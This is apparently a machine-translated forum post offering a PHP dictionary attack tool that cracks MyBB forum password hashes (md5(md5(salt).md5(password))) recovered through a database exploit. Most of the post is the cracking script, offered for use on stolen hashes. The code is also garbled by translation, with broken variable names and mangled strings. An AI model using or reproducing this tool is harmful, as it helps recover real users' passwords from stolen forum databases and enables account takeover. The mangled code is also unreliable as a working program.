The first two days and disappeared to see the MYBB forum after the exploit, cracked the password is very abnormal ~ is through the MD5 (SALT). MD (pass)) This form of ~
has not progressed ~ today wrote a small use of the program ~ I hope you can use it ~
Pass.txt for password dictionary ~ ~ one line A ~
In addition, although the program uses a very junk English characters, but the program is absolutely original ~
[Copy to Clipboard] [ - ] CODE:
/*
MYBB Forum program Password Brute Force hack tool PHP version by COOL_WXD[C.R.S.T]
This program is mainly for MYBB forum program password Encryption form MD5 (MD5 (SALT). MD5 (password))
Because the network on the MYBB exploit program just cracked out the password in the database, and did not break out the real password
It is also because of the recent encounter such a problem, so write a simple small program hope to be helpful!
*/
if ($ARGC <3)
{
print "--------------------------------------------------------------";
Print "MyBB Password Cracker v1.0";
print "--------------------------------------------------------------";
Print "Usage:mybb_password_cracker.php [Md5_hash] [salt]";
print "--------------------------------------------------------------";
Print "Http://www.wolfexp.net & Http://hi.baidu.com/cool_wxd";
Print "by cool_wxd[c.r.s.t]";
print "--------------------------------------------------------------";
Die
}
function Salt_password ($password, $salt)
{
return MD5 (MD5 ($SALT). MD5 ($password));
}
$MD 5_hash = $argv [1];
$salt = $ARGV [2];
$dict = "Pass.txt";//password dictionary
if (strlen ($MD 5_hash)!=32) {echo Error ... The Md5_hash must is a + bits; Die;}
if (!file_exists ($dict)) {echo Can not find the password Dictionary;die;}
$dict _pass=file ($dict);
$num =sizeof ($dict _pass);
for ($i =0; $i < $num; $i + +)
{
$now _password=chop ($dict _pass[$i]);
if ($md 5_hash==salt_password ($now _password, $salt)) {echo success! (. $MD 5_hash.) is cracked and the true password is: (. $now _password.); Break;}}
?>
In addition, we tested the forum in which our registered account password cracked
http://www.bkjia.com/PHPjc/508529.html www.bkjia.com true http://www.bkjia.com/PHPjc/508529.html techarticle The first two days and disappeared to see the MYBB forum after the exploit, cracked the password is very abnormal ~ is through the MD5 (SALT). MD (pass)) This form of ~ has not progressed ~ today wrote a small ...